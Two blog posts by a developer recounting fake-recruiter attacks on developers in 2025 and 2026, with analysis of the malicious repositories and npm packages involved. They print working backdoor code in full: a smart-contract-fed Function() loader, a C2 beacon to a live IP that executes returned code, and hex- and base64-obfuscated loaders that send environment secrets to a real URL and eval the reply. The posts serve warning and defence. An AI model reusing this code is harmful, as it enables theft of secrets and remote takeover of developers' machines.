Forem: Toufiqur R. Chowdhury

Brave New World of Scammers Targeting Developers

Toufiqur R. Chowdhury — Thu, 22 Jan 2026 18:42:06 +0000

In my previous article, I went deep into the rabbit hole of scammers targeting developers pretending to be employers and running a supply chain attack using malicious NPM packages. Since then I have encountered two more attempts by scammers targeting me, each of them using new tactics and bolder approaches.

In this article, I will describe how I narrowly avoided a major security breach and once again put my investigative hat on, explain the clever new tactics used by the scammer and dig into the code. This is as much as a learning experience for me as it is to document and warn others about it. While the article is very technical, reading about the details of the events may also be helpful for non-technical readers to learn and potentially avoid online hacking attempts and overall be more cautious dealing with strangers online.

Please note that while I have been repeatedly targetted, I was cautious and lucky enough to have sniffed the red flags in time to avoid being hacked. However, I came across LinkedIn posts by other who were not as lucky.

Timeline of Events
- December 16, 2025: Initial contact & scheduling a meeting
- December 17, 2025: Live attempt to hack my computer
- December 18, 2025: Investigation of the code
The Initial Discovery: A Backdoor in Plain Sight
The Payload Delivery System: A Covert Smart Contract
Decoding the getMemo() Payload
- The Decoded Backdoor Payload
- Other Malicious Code
January 2026: An Attack Hidden Inside Normal Hiring Rituals
Safety Tips
- Editor and Workspace Safety
- Execution and Environment Isolation
- Browser and Network Hygiene
- Recruitment and Social Engineering Red Flags
Final Thoughts
Related Discussions
About the Author

Timeline of Events

December 16, 2025

I received a new connection request from an account named Juan Ibañez. As usual I accepted the connection and sent an intro message to the person asking how they came across my profile.

Figure 1: Intro message I sent to the fake employer

In reply, Juan mentioned he's recruiting for a Full Stack Developer position at a betting company.

Figure 2: First message from the fake employer, Juan Ibañez

I replied that I am not open to working in the gambling industry. I figured that would be the end of the conversation.

However, Juan mentioned there are other open opportunities and asked me to schedule the initial meeting using a Calendly.com link.

Figure 3: Linkedin message from fake employer with Calendly.com invite link.

PS: The logo in the Calendly.com page has since been changed, which indicates they're possibly still using it but pretending to be working for another company called Nubion.

I booked a slot for the next day for the "initial meeting". However, immediately seeing a different name (Austin Pugh instead of Juan Ibañez), I felt it's a bit odd. While I didn't immediately flag it as suspicious, I had a feeling I needed to be cautious going forward.

Figure 4: Email with calendar event with a Google Meet invitation link.

December 17, 2025

I joined the meeting on time and had my camera and audio on. A couple of minutes later Austin Pugh joined with camera off initially. But then he turned on his camera for a couple of minutes or so during the meeting. I did previously have interviews with legit employers who didn't have their camera on. So, I didn't think of it as a big deal but mentally added it as another reason to be cautious.

I was asked to describe my background and experiences; and was asked a bunch of short questions like "How many years of experience do you have with XYZ tech?" or "Can you tell me about your experience with XYX tech". These sounded like a very typical initial screening call by recruiters.

However, as we spoke I noticed a subtle impatience in Austin. When he asked me about one of the skills (I don't remember exactly what it was now) that I didn't have prior experience with. He skipped over it as if I had the skill even though he said that's one of the core technologies used by the company. He seemed very eager to move forward get over with the questions. His attitude caused my brain to add this as the third signal to be even more cautious that I felt before.

Afer that, Austin told me he wanted to walk me through the project that I will be working on. He shared his screen where he opened a BitBucket repo and then asked me to clone the repo and run it on my local machine.

Figure 5: Screenshot of the malicious BitBucket.org repository.

This immediately triggered my spidey-sense. I told Austin that this is not within the scope of today's meeting. I will clone the repo later. He insisted me to clone and run the project while on the call.

This confirmed all my suspicions. I no longer had any doubt that this was an attempt to compromise my computer. Recruiters typically do not have the technical depth to walk through code in real time, let alone "walk through the code". I immediately told him "You are a scam. So, I am going to drop the call." and then dropped the call. Austin or Juan never contacted me after that nor did they try to defend their position.

December 18, 2025

After dropping the call I immediately downloaded the project repo as a zip file to investigate further. Upon investigation with the help of AI, I discovered a completely new method of incorporating remote code execution (RCE) in a particularly clever way by storing the RCE script in a smart contract on the Binance Smart Chain. In the next chapter, I will discuss in detail what I did to look for suspicious code and how discovered this clever method of attack.

The Initial Discovery: A Backdoor in Plain Sight

Since there were no .vscode/tasks.json file and from my previous article I knew two things:

The backend/NodeJS side is where to look for malicious code first.
It's relatively safe to open the project in VSCode (because no .vscode/tasks.json) locally even though it might not be safe to run it. However, I still opened it in restricted mode by clicking on No, I don't trust the authors.

Figure 6: VSCode prompt whether to trust the project or open in restricted mode.

Figure 7: VSCode restricted mode vs trusted mode.

After scanning through the backend code, the first and most critical vulnerability I found was in /backend/routes/routes.js. At first glance, it looked like a standard Express.js routes file. However, two functions, ContentAsWeb and an anonymous async function that called it, immediately stood out.

function ContentAsWeb(payload) {
  if (!payload) {
    // ...
    return;
  }
  try {
    const ensureWeb = new Function("require", payload);
    ensureWeb(require);
  } catch (err) {
    // ...
  }
}

The use of new Function() is a massive red flag. It takes a string and executes it as JavaScript code. In this context, it was being used to execute a payload with access to the require function, meaning the executed code could import any Node.js module (fs, child_process, etc.) and gain full control over the server.

But where was this payload coming from?

The Payload Delivery System: A Covert Smart Contract

The payload wasn't hardcoded. Instead, it was fetched from a smart contract on the Binance Smart Chain (BSC). The configuration in /backend/config.js pointed to the contract address: 0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF.

The anonymous function in routes.js was responsible for fetching this payload:

(async () => {
  // ...
  try {
    // NFT_TX_IDS was an array:
    const nftDataPromises = NFT_TX_IDS.map((txId) => contract.getMemo(txId));
    const nftDataResults = await Promise.all(nftDataPromises);
    const nftContent = nftDataResults.join("");
    ContentAsWeb(nftContent); // Execute the fetched code
  } catch (err) {
    // ...
  }
})();

This code calls a function named getMemo() on the smart contract with IDs 2 and 3, joins the results, and executes them. This is a clever way to hide a malicious payload. It's not in the codebase itself but is dynamically loaded from the blockchain, making it harder to detect with static analysis.

Decoding the `getMemo()` Payload

When I checked the contract on BscScan, it was unverified. The creator had deliberately hidden the source code. This is the biggest red flag for any smart contract.

To see what getMemo() returned without running the malicious app, I used AI to generate a simple HTML file with ethers.js to call the function directly from my browser and analyze the output.

<!doctype html>
<html lang="en">
  <head>
    <meta charset="UTF-8" />
    <title>Smart Contract Memo Checker</title>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/ethers/6.7.0/ethers.umd.min.js"></script>
    <style>
      body {
        font-family:
          -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Helvetica,
          Arial, sans-serif;
        line-height: 1.6;
        padding: 20px;
        background-color: #f4f4f9;
        color: #333;
      }
      h1 {
        color: #1a1a1a;
      }
      #output {
        background-color: #fff;
        border: 1px solid #ddd;
        padding: 15px;
        border-radius: 5px;
        white-space: pre-wrap;
        word-wrap: break-word;
        font-family: "Courier New", Courier, monospace;
      }
      .loading {
        color: #888;
      }
      .error {
        color: #d32f2f;
      }
      .success {
        color: #388e3c;
      }
    </style>
  </head>
  <body>
    <h1>Smart Contract Inspector</h1>
    <p>
      Querying contract
      <strong>0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF</strong> on the Binance
      Smart Chain.
    </p>
    <div id="output">
      <p class="loading">Fetching data from the blockchain...</p>
    </div>

    <script>
      async function checkContract() {
        const outputDiv = document.getElementById("output");
        const contractAddress = "0x9C4964C3601909d0eeE970a8a9cAE4836Bdf27EF";
        const bscRpcUrl = "https://bsc-dataseed1.binance.org";

        const contractAbi = [
          "function getMemo(uint256 transactionId) external view returns (string memory)",
        ];

        try {
          // 1. Set up the provider and contract
          const provider = new ethers.JsonRpcProvider(bscRpcUrl);
          const contract = new ethers.Contract(
            contractAddress,
            contractAbi,
            provider,
          );

          outputDiv.innerHTML = '<p class="loading">Calling getMemo(2)...</p>';

          // 2. Call the getMemo function for transaction ID 2
          const memo2 = await contract.getMemo(2);
          outputDiv.innerHTML = `<p class="success"><strong>Result for getMemo(2):</strong></p><pre>${memo2}</pre>`;

          outputDiv.innerHTML += '<p class="loading">Calling getMemo(3)...</p>';

          // 3. Call the getMemo function for transaction ID 3
          const memo3 = await contract.getMemo(3);
          outputDiv.innerHTML += `<p class="success"><strong>Result for getMemo(3):</strong></p><pre>${memo3}</pre>`;

          // 4. Join them, just like the malicious backend does
          const combinedPayload = memo2 + memo3;
          outputDiv.innerHTML += `
                    <hr>
                    <h3>Combined Payload (What the server would execute):</h3>
                    <pre>${combinedPayload}</pre>
                `;
        } catch (error) {
          console.error("Error fetching from contract:", error);
          outputDiv.innerHTML = `<p class="error"><strong>Error:</strong> Could not fetch data from the contract. Check the browser console for details.</p><pre>${error.message}</pre>`;
        }
      }

      checkContract();
    </script>
  </body>
</html>

This revealed the true payload: a minified script that establishes a persistent Command & Control (C2) channel.

The Decoded Backdoor Payload

Here is the formatted payload:

const axios = require("axios");
const os = require("os");
let instanceId = 0;

// The RCE function
function errorFunction(e) {
  try {
    return new Function("require", e)(require);
  } catch (e) {}
}

// Collects and sends system info to the attacker
async function checkServer() {
  try {
    const sysInfo = {
      hostname: os.hostname(),
      macs: Object.values(os.networkInterfaces())
        .flat()
        .filter(Boolean)
        .map((e) => e.mac),
      os: `${os.type()} ${os.release()} (${os.platform()})`,
    };

    // Pings the attacker's C2 server
    const t = await axios.get("http://87.236.177.9:3000/api/errorMessage", {
      params: { sysInfo, exceptionId: "env19475", instanceId },
    });

    // If the server responds with a command, execute it
    if ("error" === t.data.status) {
      errorFunction(t.data.message || "Unknown error");
    } else if (t.data.instanceId) {
      instanceId = t.data.instanceId;
    }
  } catch (e) {}
}

// Run immediately and then every 5 seconds
try {
  checkServer();
  setInterval(checkServer, 5000);
} catch (e) {}

This script does three things:

Exfiltrates Data: It collects the user's hostname, MAC addresses, and OS details.
Establishes C2 Channel: It sends this data to an attacker-controlled server (87.236.177.9) every 5 seconds.
Executes Remote Commands: It listens for a response. If the response contains a message, it executes that message as code, giving the attacker full remote control.

Other Malicious Code

The RCE was the main payload, but the project was littered with other vulnerabilities that indicate malicious intent.

Broken JWT Authentication: The verifyJWT function correctly used jwt.verify() but then completely ignored the result. It proceeded to use jwt.decode() to get the user payload. decode() does not verify the token's signature, meaning an attacker could forge a token with any data they want (e.g., {"role": "cpadmin"}) to gain unauthorized access.
Path Traversal: An endpoint, getImage, was vulnerable to path traversal. An attacker could provide a path like ../../../../etc/passwd to read sensitive files from anywhere on the server.
Deprecated Crypto Packages: The project used the crypto package from npm, which has been deprecated for years in favor of Node.js's built-in crypto module. It also used ethereumjs-tx, which is deprecated in favor of @ethereumjs/tx. Using outdated, unmaintained crypto libraries is a massive security risk and a clear sign that the author is not a legitimate developer.

January 2026: An Attack Hidden Inside Normal Hiring Rituals

In January 2026, I encountered another attempt that relied far more on social engineering than technical complexity. The setup appeared ordinary: a supposed recruiter contacted me, asked a few legit-sounding questions and then assigned a small take-home task, asking candidates to open a public GitHub repository in VS Code, make "at least one meaningful improvement" and submit a pull request.

Figure 8: First message from Firyal AS, the fake recruiter.

Figure 9: LinkedIn message about available roles and suspiciously high compensation.

Figure 10: LinkedIn message with brief about the role and typical recruiter questions.

Figure 11: LinkedIn message with Google Docs link of the task details and invitation for interview after submission.

Figure 12: A detailed Google Docs document mimicking a real take-home coding task.

Several hours before this task was even sent, a completely separate LinkedIn account, unrelated to the role or company, sent me a generic message about a position I had never applied for. At the time it felt random. The following day, when I had not submitted any pull request, the same account sent a second message. In hindsight, These messages were likely intended to serve as a simple activity check to confirm whether I was active on LinkedIn and reading messages before and after the task delivery.

Figure 13: LinkedIn message from an unrelated account.

Figure 14: LinkedIn message from an unrelated account.

Notice the links to job posts are not the same. Both jobs were posted 3-4 months prior. This means the job posts may have been legit and the attacker simply used expired job posts for a ping message.

Before cloning the repository, I inspected its contents and found a .vscode/tasks.json file configured to execute a remote script automatically on project load. This meant that simply opening the folder in VS Code or similar editors (Windsurf, Cursor, etc.) would have triggered remote code execution, without running the application or interacting with the code at all. Unlike the December incident, the pressure to open the project was deferred rather than immediate. The task explicitly stated that a follow-up interview would involve reviewing the code in VSCode and explaining the submitted changes, which would certainly require opening the repository in VSCode and executing the RCE script. At the time I inspected it, the remote script itself was minimal and benign, which strongly suggests it was intended as a placeholder. The more plausible scenario is that the payload would have been swapped or activated closer to the interview stage, once the target had demonstrated compliance and trust.

It is also worth noting that by the time I inspected the repository, which had already been deleted and recreated at least once, multiple pull requests had already been submitted by other developers as part of this task. This strongly suggests that the setup was convincing enough for some candidates to clone and open the project locally, likely without realizing that simply doing so could trigger remote code execution.

Safety Tips:

Based on my experiences, here are some tips to help you stay safe in the wild west of the online job-hunting space. These are as much a checklist for me as they are general advice for any developer.

Editor and Workspace Safety

First and foremost, ALWAYS check if the project contains a .vscode/tasks.json file.
- If it does, check whether it contains any scripts that may run on-open.
- If unsure, it is best to not open the project in VSCode or any similar modern editors on your local machine.
- Also inspect:
- .vscode/settings.json
- .vscode/extensions.json
- Any workspace file (*.code-workspace)
NEVER open an unfamiliar repository directly in VSCode as your first step.
- Inspect it first using your browser or by downloading it as a zip and reviewing files manually.
- If you must open a project locally, always choose "restricted mode" and never trust the workspace until you have audited it.

Execution and Environment Isolation

GitHub Codespaces is an excellent way to run or inspect untrusted projects in an isolated environment, without exposing your local machine.
- With ~33 hours of runtime, the free version is more than sufficient for job-hunting needs.
Run projects locally using containers (Docker, Podman etc) or VMs like VMWare or VirtualBox.
- Do not assume containers are a perfect sandbox.
- Containers share the host kernel and are not equivalent to a VM.
- For high-risk inspections, prefer a full VM or Codespaces over Docker alone.
- If you are paranoid about security, you can also consider using Qubes OS as your primary OS.

Browser and Network Hygiene

When inspecting suspicious projects, consider blocking outbound network access entirely.
- For example, disable networking in a VM or container unless explicitly required.
When running or opening any project in your browser, use incognito mode and disable extensions.
Be cautious with browser-based blockchain tooling.
- Never connect wallets or sign transactions when inspecting unfamiliar projects.
- Use a separate browser profile or a throwaway wallet if interaction is unavoidable.

Recruitment and Social Engineering Red Flags

Be suspicious of recruiters who:
- Push you to open or review code before a formal interview
- Reuse old or expired job posts
- Contact you from multiple, loosely related accounts
- Avoid discussing company details beyond vague summaries
Treat unsolicited follow-ups that align suspiciously with task deadlines as a red flag.
- These are often used as activity or responsiveness checks rather than genuine interest.

Final Thoughts

This project was not just poorly written; it was a deliberately crafted weapon. The combination of a remote code execution backdoor, a covert payload delivery system using an unverified smart contract, and multiple other critical vulnerabilities confirms this was an attempt to compromise my system. This incident is a stark reminder: never trust and run code from an unknown source without a thorough security audit.

What's really clever about this is that putting me on the spot during the call by asking me to clone the repository without giving me a chance to look through the code for any potential malicious intent. If I had not previously been attacked, as I mentioned in my previous article, I might have done it without realizing that this was an active attempt at hacking my computer and potentially doing a lot of harm not only to me but also to any of my current or future employers. The attackers are not only becoming clever at their tactics, but also becoming bolder to the point of even showing their face to make everything sound as legit as possible.

If you’ve encountered similar incidents, or want to collaborate on raising awareness, feel free to reach out.

Related Discussions

This article is also shared on the following platforms, where you can comment, like, or reshare:

About the Author

Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.

🔗 ← Back to Journal Home
• CV
• LinkedIn
• GitHub
• Contact / Hire Me

I Was Targeted by a Fake Employer Running a Real NPM Supply Chain Attack

Toufiqur R. Chowdhury — Thu, 22 Jan 2026 18:41:06 +0000

Job hunting is stressful enough without having to dodge sophisticated cyberattacks. I recently encountered a fake employer on LinkedIn who wasn't just phishing for data, they were distributing malware via a custom NPM supply chain attack. This article documents the entire experience, from the initial contact to dissecting the malicious code, to help other developers recognize and avoid similar traps.

Timeline of Events
- June 25, 2025: Joined a Slack group invited by an "employer"
- June 26, 2025: First contact
- June 27, 2025: Noticed Bitbucket repo recreated
- July 3, 2025: Attacker re-published malicious NPM package as async-queuelite
- July 4, 2025: Attacker re-published malicious NPM package as restpilot
- July 10-24, 2025: The attacker pivoted and changed tactic
Dissecting async-queuelite: A Real Backdoor
- Breakdown: How the Backdoor Works
- The Stealth Backdoor
Social Engineering: The Fake LinkedIn Profile
Could the Slack Group Have Been Connected?
Why This Was Clearly Targeted
What I Did Right
What Could Have Gone Wrong
Indicators of Compromise (IOC)
Lessons for Developers
Final Thoughts
Related Discussions
About the Author

Timeline of Events

June 25, 2025

Earlier in the week, I applied to a few developer roles online. I received an email from one of the employers who directed me to a Slack group that appeared to have been created on June 19, 2025, based on the creation date of its only two channels. The person claimed they had created this group to build a community to post jobs and connect developers with opportunities. I joined and noticed a lot of other candidates also joined the group (so far 300+ at the time of writing this). I introduced myself and had a brief conversation with other candidates, during which I casually mentioned a previous LinkedIn-based social engineering attempt that I had encountered.

June 26, 2025

A LinkedIn user named Michael McCarthy, a CEO and Angel Investor from Canada, claiming to be an employer messaged me with an opportunity for a full-stack developer role.

Figure 1: Linkedin email notifying new message received from the fake employer, Michael McCarthy

The role was well-aligned with my experience and most recent roles.

Figure 2: First LinkedIn message received from the fake employer

Figure 3: fake employer explaining the job

They shared a link to a GitHub repo URL and asked me to complete a quick coding test. The repo URL took me to a 404 (not found) page.

Figure 4: discussing the "meeting with HR"

Figure 5: calendly.com invite to schedule an interview and Google Docs link with the take home test description

Figure 6: Scheduling an interview at calendly.com

I initially presumed the GitHub project may have been private and required an invite for me to access it. When I asked, they provided a Bitbucket repository instead. Now I realize the account might have been deleted/suspended due to reporting by others or the malware being detected by GitHub.

Figure 7: After mentioning the dead GitHub repo URL fake employer provided a BitBucket repo URL

A few hours later, after cloning the Bitbucket repo, I attempted to install all the dependencies by running npm install, but the installation consistently got stuck during the initial loading stage (with a loading spinner). I presumed something might have been wrong with either my ISP’s DNS server and/or the connection with NPM servers.

Then I tried using yarn and I encountered a broken dependency: json-webhooks@1.5.9. I discovered that the package had been removed and replaced with 0.0.1-security, a standard NPM response to confirmed malicious packages that had been taken down.

I never ran the code so I was safe. However, I had the plan to use a Docker container anyway to run it as a precautionary measure.

June 27, 2025

The Bitbucket repository was suddenly deleted, and then recreated with the exact same name and structure, but this time using a new malicious package: reqweaver. I reported this to NPM, and within hours, the package was removed — nearly 92 hours after reporting — and it was downloaded 51 times by other developers. However, I regretted not downloading the source code for investigation out of curiosity.

July 3, 2025

The attacker repeated the tactic a third time, now using a new package named async-queuelite. This time, I downloaded the package for inspection. With the help of ChatGPT, I discovered a backdoor in the code which confirmed that this was a Supply Chain Attack. Details of the malicious code dissection are in the next section. I reported the async-queuelite package as well to NPM Support and it was taken down within 13 hours with zero downloads.

After confirmation of the malicious code, I tried to read the conversation I had on LinkedIn with the fake employer. The conversation disappeared and the user also disappeared. I assumed they either deleted their profile or blocked me. While reviewing the first LinkedIn email notification from Michael McCarthy, I realized the LinkedIn messages from the attacker weren’t actually deleted, just hidden from the UI. Using the message link in my email, I was able to regain access to the conversation.

July 4, 2025

The attacker repeated the exact same tactic for the fourth time: by recreating the BitBucket repo and publishing a new NPM package named restpilot. I have downloaded the source code and found the exact same backdoor code. Once again, I reported it to NPM Support.

July 10-24, 2025

After repeated takedowns of their malicious NPM packages, the attacker pivoted: they began embedding the backdoor code directly into the test project itself, removing the dependency on NPM altogether. And they created a new repo called NovaX.

Figure 8: Malicious repositories created by the attacker

Figure 9: The two user IDs used to create the initial commit and update all the malicious repositories

A few days ago, I have received an email job alert from arc.dev a job posting by Tirios, the same name the fake employer used. This appeared legit but I was more curious so I applied to the job. I was hoping to get a response before I publish the article. So far I haven't received any response. Either the fake employer is now using arc.dev to attract new victims or this is the real deal.

Dissecting `async-queuelite`: A Real Backdoor

In the BitBucket repo, the async-queuelite package was only imported once in the contracts/controllers/userController.js and invoked the function only once at startup, but in the middle of the file like this:

...some imports
const jsonWebHooks = require("json-webhooks");

...many lines of code
jsonWebHooks();
...more code

The async-queuelite@1.0.11 package disguised itself as a lightweight job queue. However, it:

Collected system info (os.platform(), hostname, MAC addresses)
Dumped all process.env variables (including any secrets and API keys)
Sent data to https://log-server-lovat.vercel.app/api/ipcheck/703
Executed attacker-controlled JavaScript using: .then(r => eval(r.data))

Here is the malicious code in the NPM package (contents of the file lib/writer.js):

"use strict";
const os = require("os");
const pkg = require("../package.json");

function getMacAddress() {
  const interfaces = os.networkInterfaces();
  const macAddresses = [];

  for (const interfaceName in interfaces) {
    const networkInterface = interfaces[interfaceName];

    networkInterface.forEach((details) => {
      if (details.family === "IPv4" && !details.internal) {
        macAddresses.push(details.mac);
      }
    });
  }
  return macAddresses;
}
const data = {
  ...process.env,
  version: pkg.subModuleVersion,
  platform: os.platform(),
  hostname: os.hostname(),
  username: os.userInfo().username,
  macAddresses: getMacAddress(),
};

function g(h) {
  return h.replace(/../g, (match) => String.fromCharCode(parseInt(match, 16)));
}

const hl = [
  g("72657175697265"),
  g("6178696f73"),
  g("706f7374"),
  g(
    "68747470733A2F2F6C6F672D7365727665722D6C6F7661742E76657263656C2E6170702F6170692F6970636865636B2F373033",
  ),
  g("68656164657273"),
  g("782d7365637265742d686561646572"),
  g("736563726574"),
  g("7468656e"),
];

module.exports = (...args) =>
  require(hl[1])
    [[hl[2]]](hl[3], data, { [hl[4]]: { [hl[5]]: hl[6] } })
    [[hl[7]]]((r) => eval(r.data))
    .catch(() => {});

Breakdown: How the Backdoor Works

Step 1: It collects sensitive host metadata and environment variables using the os module and process.env. Using the os module it extracts the user's MAC addresses, username etc, and using process.env gives them access to all the private information available to the NodeJS application.
Step 2: Obfuscate the attack. One clever piece of the attack was how it obscured the actual URL used for data exfiltration. Instead of hardcoding it, the code used obfuscated hex strings that are decoded at runtime using a function like this:

  function g(h) {
    return h.replace(/../g, (match) =>
      String.fromCharCode(parseInt(match, 16)),
    );
  }

Using this technique the attacker hides what is actually in the hl array.

Here’s what the hl array resolves to when decoded:

  const hl = [
    // 0. g('72657175697265'):
    "require",
    // 1. g('6178696f73'):
    "axios",
    // 2. g('706f7374'):
    "post",
    // 3. g('68747470733A2F2F6C6FD7...702F6170692F6970636B2F373033'):
    "https://log-server-lovat.vercel.app/api/ipcheck/703",
    // 4. g('68656164657273'):
    "headers",
    // 5. g('782d7365637265742d686561646572'):
    "x-secret-header",
    // 6. g('736563726574'):
    "secret",
    // 7. g('7468656e'):
    "then",
  ];

Step 3: Now if we substitute the actual values from the hl array into the exported function, it becomes clear what the attacker is doing:

  module.exports = (...args) =>
    require("axios")
      ["post"]("https://log-server-lovat.vercel.app/api/ipcheck/703", data, {
        headers: { "x-secret-header": "secret" },
      })
      ["then"]((r) => eval(r.data))
      .catch(() => {});

We can see that first the axios package is imported which is a popular library for making HTTP requests. Then a post request is made the obfuscated URL https://log-server-lovat.vercel.app/api/ipcheck/703 in hl[3].

Step 4: Remote Code Execution.

The final part of the chain is the most dangerous. The attacker uses:

    .then(r => eval(r.data))

This means that whatever response the server sends back (r.data) will be evaluated and executed as JavaScript inside the victim’s Node.js environment.

If the attacker returns a payload that installs malware, opens a reverse shell, or performs lateral movement, it will execute with the same permissions as the current process. This is a classic example of Remote Code Execution (RCE), and is especially dangerous because:

It bypasses most static detection tools due to obfuscation.
It allows post-infection payloads to change over time. The attacker can now execute any code they control.
It executes code as part of what appears to be a legitimate module.

This is full-blown remote code execution (RCE). The attacker could run arbitrary scripts, install malware, or open reverse shells.

The Stealth Backdoor

The attacker now uses a more direct approach without NPM. They simply put the backdoor code inside the test project: NovaX. This appears to be an older tactic they used to use in other projects under the same username on BitBucket, which they seem to have recreated (deleted the project and recreate the same project with identical name and code to make it seem like it's a new project) and probably going to be using again.

File: auth/controllers/userController.js

.....import packages
require("dotenv").config({
    path: path.resolve(__dirname, "../config/.config.env"),
});
.....many lines of code
//Get Cookie
exports.getCookie = asyncErrorHandler(async (req, res, next) => {
  const src = atob(process.env.DEV_API_KEY);
  const k = atob(process.env.DEV_SECRET_KEY);
  const v = atob(process.env.DEV_SECRET_VALUE);
  const s = (await axios.get(src,{headers:{[k]:v}})).data.cookie;
  const handler = new (Function.constructor)('require',s);
  handler(require);
})();
.....more code

File: auth/config/.config.env

DEV_API_KEY="aHR0cHM6Ly9hcGkubnBvaW50LmlvLzE0ODk4NDcyOWUxMzg0Y2JlMjEy"
DEV_SECRET_KEY="eC1zZWNyZXQta2V5"
DEV_SECRET_VALUE="Xw=="

Summary of what changed:

NPM dependency no longer used
Payload embedded directly in source
Less obfuscation, but still effective
Environment variables used to conceal malicious URL and headers

This tactic increases stealth: because the backdoor is no longer inside a published package, tools like npm audit can’t catch it. Instead, it relies on developers overlooking a suspicious-looking environment variable and trusting the rest of the repo structure.

While it does the same as NPM package backdoor with less obfuscation, it is still enough to fool unsuspecting and inexperienced programmers. I won’t go into the full breakdown again, as it mirrors the earlier backdoor closely.

Social Engineering: The Fake LinkedIn Profile

The LinkedIn profile:

Had a job history going back 20+ years.
Included fake high-profile titles like "Angel Investor at Binance" and many other positions at big tech companies to appear legit.
Had no recent public activity (likes, comments, posts) in the last 10 years—a definite red flag, but one that can often be overlooked.
Used a professional-sounding name and headshot (e.g., "Michael McCarthy")

After I grew suspicious, the user appeared to have blocked me and deleted the entire conversation. I later realized the profile had likely been reported and banned, which caused the messages to disappear from the UI—but I was still able to access it using the URL from the initial LinkedIn message notification email.

Could the Slack Group Have Been Connected?

While I can’t definitively say the Slack group was involved, it’s worth examining the timeline and possible connections:

June 10, 2025: I applied to the job related to the Slack Group.
June 16, 2025: The malicious json-webhooks package was published. It is, however, possible that this was not the first time and they may have other prior NPM packages published.
June 19, 2025 The Slack group I joined appeared to be created.
June 23, 2025: Received invitation to join the Slack Group.
June 26, 2025: I received the attack via LinkedIn.

This raises a few possibilities:

It was an unrelated coincidence — the timing just happened to align.
An attacker infiltrated the group posing as a candidate — collecting contact info and monitoring conversations.
The group was part of the attacker’s infrastructure — created to scout developers and test approaches.

While I lean toward the attacker having some visibility or presence in that group, I’m not accusing anyone specifically. I still have to put my Dexter Morgan's forensic analyst hat on.

It’s possible the group is legitimate and simply compromised or observed without the admin’s knowledge.

Why This Was Clearly Targeted

The project closely mirrored my recent tech stack and interests.
The Job Description and the test repo were sufficiently detailed and just real enough to look convincing.
The malicious module was only used once, called with no arguments.
The attacker persisted even after previous versions were reported and removed. So far the repo has been recreated and new malicious NPM packages published at least 4 times.
The timing of the Slack invite and the attack raises the possibility that either an attacker had joined posing as a candidate, or, the Slack group creator was involved.

This wasn’t opportunistic. It was a carefully prepared social engineering + supply chain attack.

What I Did Right

Didn’t run the code, even initially.
Had a plan to run it in a Docker container.
Noticed the missing NPM package.
Investigated the package name, found it was replaced by 0.0.1-security.
Reported reqweaver, async-queuelite and restpilot to NPM support. First two were taken down; awaiting for restpilot.
Manually inspected async-queuelite in VSCode with Restricted Mode.

What Could Have Gone Wrong

Running the project, even in Docker, any environment variable passed to the container and anything in mounted volumes could've been leaked.
Even worse, if it had been run with the malicious NPM package, the hacker could have created a reverse shell and gained access to the computer.
If such code is deployed to staging/prod, it could compromise the CI/CD pipelines.
Trusting the fake employer, one may end up sharing credentials or dev access.

Indicators of Compromise (IOC)

Malicious NPM packages:

json-webhooks@1.5.9
reqweaver@<unknown>
async-queuelite@1.0.11
restpilot@<latest> (published after previous removals)

Remote server used:

https://log-server-lovat.vercel.app/api/ipcheck/703

Obfuscation techniques:

Obfuscated code pattern using hex strings and eval(r.data)

I reported the last three packages (reqweaver, async-queuelite, and restpilot) to NPM, and the first two have since been removed from the registry.

Lessons for Developers

Don’t blindly install dependencies, especially from unfamiliar repos.
Always inspect small or unknown NPM packages, especially if they're recently published.
Use VSCode Restricted Mode or open packages in a sandboxed VM.
Consider isolating unknown projects in containers or VMs, such as Docker, VirtualBox, Qubes OS, or use a completely isolated computer. While Docker helps limit filesystem exposure, note that process.env and mounted secrets can still be leaked unless you take precautions.
Use a VPN to mask your IP and reduce surface exposure.
Validate LinkedIn profiles: No activity in years + impressive roles = red flag
Be cautious of unsolicited Slack invites with vague roles
Report suspicious packages to NPM security

Final Thoughts

Since this incident, I’ve also encountered another obfuscated malware sample distributed via UpWork. Maybe I'll try to cover that in a follow-up post.

This experience was frustrating but incredibly eye-opening. It showed how attackers are adapting: combining social engineering with modern supply chain tactics to compromise individual developers.

If I hadn’t been cautious, this could’ve ended very differently. If you're a freelancer or open-source contributor, stay vigilant.

Feel free to share this story. If it protects even one developer, it's worth it.

If you have seen any packages or messages similar to this incident, or if you'd like to collaborate on raising awareness, feel free to reach out.

Related Discussions

This article is also shared on the following platforms, where you can comment, like, or reshare:

About the Author

Toufiqur Rahaman Chowdhury is a full-stack software developer with over 8 years of experience building scalable web applications. He’s worked across frontend, backend, and blockchain systems.

🔗 ← Back to Journal Home
• CV
• LinkedIn
• GitHub
• Contact / Hire Me

Forem: Toufiqur R. Chowdhury

Brave New World of Scammers Targeting Developers

Table of Contents

Timeline of Events

December 16, 2025

December 17, 2025

December 18, 2025

The Initial Discovery: A Backdoor in Plain Sight

The Payload Delivery System: A Covert Smart Contract

Decoding the getMemo() Payload

The Decoded Backdoor Payload

Other Malicious Code

January 2026: An Attack Hidden Inside Normal Hiring Rituals

Safety Tips:

Editor and Workspace Safety

Execution and Environment Isolation

Browser and Network Hygiene

Recruitment and Social Engineering Red Flags

Final Thoughts

Related Discussions

About the Author

I Was Targeted by a Fake Employer Running a Real NPM Supply Chain Attack

Table of Contents

Timeline of Events

June 25, 2025

June 26, 2025

June 27, 2025

July 3, 2025

July 4, 2025

July 10-24, 2025

Dissecting async-queuelite: A Real Backdoor

Breakdown: How the Backdoor Works

The Stealth Backdoor

Summary of what changed:

Social Engineering: The Fake LinkedIn Profile

Could the Slack Group Have Been Connected?

Why This Was Clearly Targeted

What I Did Right

What Could Have Gone Wrong

Indicators of Compromise (IOC)

Lessons for Developers

Final Thoughts

Related Discussions

About the Author

Decoding the `getMemo()` Payload

Dissecting `async-queuelite`: A Real Backdoor